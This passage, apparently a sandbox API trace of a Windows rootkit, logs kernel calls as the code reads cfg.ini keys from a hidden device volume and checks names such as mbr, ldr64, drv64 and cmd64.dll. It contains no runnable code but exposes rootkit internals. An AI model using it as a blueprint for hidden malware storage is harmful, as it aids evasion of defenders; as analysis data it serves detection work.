ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.796] KeLeaveCriticalRegion () [0116.796] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.796] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.796] KeEnterCriticalRegion () [0116.796] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.796] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035da000 [0116.796] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.796] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0116.796] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.796] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0116.796] IdePortDispatch () returned 0x103 [0116.796] KeWaitForMutexObject () returned 0x0 [0116.796] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.796] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.796] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0116.796] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.796] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0116.796] IdePortDispatch () returned 0x103 [0116.797] KeWaitForMutexObject () returned 0x0 [0116.797] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.797] KeLeaveCriticalRegion () [0116.797] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.797] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.797] KeEnterCriticalRegion () [0116.797] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.797] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0116.797] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.797] KeLeaveCriticalRegion () [0116.797] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.797] KeEnterCriticalRegion () [0116.797] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.797] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0116.797] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003963920, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0116.797] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.797] KeLeaveCriticalRegion () [0116.797] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.797] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.798] KeEnterCriticalRegion () [0116.798] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.798] ExFreePoolWithTag (P=0xfffffa8003874c50, Tag=0x0) [0116.798] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.798] KeLeaveCriticalRegion () [0116.798] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.798] ReleaseMutex (hMutex=0xf0) returned 1 [0116.798] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0116.798] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0116.798] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.798] KeEnterCriticalRegion () [0116.798] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.798] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.798] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.798] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.798] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0116.798] IdePortDispatch () returned 0x103 [0116.798] KeWaitForMutexObject () returned 0x0 [0116.798] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.798] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.798] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.798] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0116.798] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0116.798] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003963090 [0116.798] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.798] KeLeaveCriticalRegion () [0116.798] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.798] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.798] KeEnterCriticalRegion () [0116.798] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.798] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0116.798] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.798] KeLeaveCriticalRegion () [0116.798] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.798] KeEnterCriticalRegion () [0116.798] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.799] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.799] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.799] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.799] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0116.799] IdePortDispatch () returned 0x103 [0116.799] KeWaitForMutexObject () returned 0x0 [0116.799] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.799] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.799] KeLeaveCriticalRegion () [0116.799] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.799] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.799] KeEnterCriticalRegion () [0116.799] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.799] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035db000 [0116.799] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.799] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0116.799] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.799] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0116.799] IdePortDispatch () returned 0x103 [0116.799] KeWaitForMutexObject () returned 0x0 [0116.799] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.799] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.799] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0116.799] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.799] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0116.799] IdePortDispatch () returned 0x103 [0116.800] KeWaitForMutexObject () returned 0x0 [0116.800] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.800] KeLeaveCriticalRegion () [0116.800] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.800] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.800] KeEnterCriticalRegion () [0116.800] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.800] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0116.800] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.800] KeLeaveCriticalRegion () [0116.800] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.800] KeEnterCriticalRegion () [0116.800] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.800] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0116.800] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdfb40, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0116.800] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.800] KeLeaveCriticalRegion () [0116.800] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.800] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.800] KeEnterCriticalRegion () [0116.800] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.801] ExFreePoolWithTag (P=0xfffffa8003963090, Tag=0x0) [0116.801] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.801] KeLeaveCriticalRegion () [0116.801] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.801] ReleaseMutex (hMutex=0xf0) returned 1 [0116.801] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0116.801] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0116.801] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0116.801] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0116.801] KeEnterCriticalRegion () [0116.801] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.801] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.801] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.801] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.801] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0116.801] IdePortDispatch () returned 0x103 [0116.801] KeWaitForMutexObject () returned 0x0 [0116.801] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0116.801] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0116.801] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0116.801] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0116.801] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0116.801] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0116.801] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0116.801] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0116.801] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0116.801] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0116.801] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.801] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.801] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.801] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.801] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.801] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.801] KeLeaveCriticalRegion () [0116.801] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.801] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0116.801] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0116.802] KeEnterCriticalRegion () [0116.802] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.802] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.802] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.802] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.802] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0116.802] IdePortDispatch () returned 0x103 [0116.802] KeWaitForMutexObject () returned 0x0 [0116.802] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0116.802] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0116.802] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0116.802] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0116.802] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0116.802] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0116.802] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0116.802] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0116.802] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0116.802] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0116.802] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.802] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.802] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.802] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.802] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.802] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.802] KeLeaveCriticalRegion () [0116.802] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.802] ReleaseMutex (hMutex=0x100) returned 1 [0116.802] Sleep (dwMilliseconds=0x2bf20) [0116.809] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x68d24fd0, dwHighDateTime=0x1d24fa4)) [0116.809] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0116.809] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0116.809] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0116.809] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.809] KeEnterCriticalRegion () [0116.809] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.809] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.809] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.809] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.809] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0116.809] IdePortDispatch () returned 0x103 [0116.809] KeWaitForMutexObject () returned 0x0 [0116.809] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.809] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.809] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.809] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0116.809] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0116.809] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003963090 [0116.809] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.809] KeLeaveCriticalRegion () [0116.809] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.809] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.809] KeEnterCriticalRegion () [0116.809] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.809] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0116.809] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.809] KeLeaveCriticalRegion () [0116.809] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.809] KeEnterCriticalRegion () [0116.809] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.809] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.809] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.809] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.809] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0116.809] IdePortDispatch () returned 0x103 [0116.810] KeWaitForMutexObject () returned 0x0 [0116.810] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.810] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.810] KeLeaveCriticalRegion () [0116.810] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.810] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.810] KeEnterCriticalRegion () [0116.810] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.810] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035de000 [0116.810] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.810] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0116.810] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.810] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0116.810] IdePortDispatch () returned 0x103 [0116.810] KeWaitForMutexObject () returned 0x0 [0116.810] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.810] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.810] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0116.810] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.810] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0116.810] IdePortDispatch () returned 0x103 [0116.811] KeWaitForMutexObject () returned 0x0 [0116.811] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.811] KeLeaveCriticalRegion () [0116.811] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.811] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.811] KeEnterCriticalRegion () [0116.811] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.811] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0116.811] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.811] KeLeaveCriticalRegion () [0116.811] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.811] KeEnterCriticalRegion () [0116.811] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.811] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0116.811] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdfb40, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0116.811] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.811] KeLeaveCriticalRegion () [0116.811] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.811] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.811] KeEnterCriticalRegion () [0116.811] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.811] ExFreePoolWithTag (P=0xfffffa8003963090, Tag=0x0) [0116.811] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.811] KeLeaveCriticalRegion () [0116.811] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.811] ReleaseMutex (hMutex=0xf0) returned 1 [0116.812] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0116.812] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0116.812] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.812] KeEnterCriticalRegion () [0116.812] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.812] IoAllocateIrp 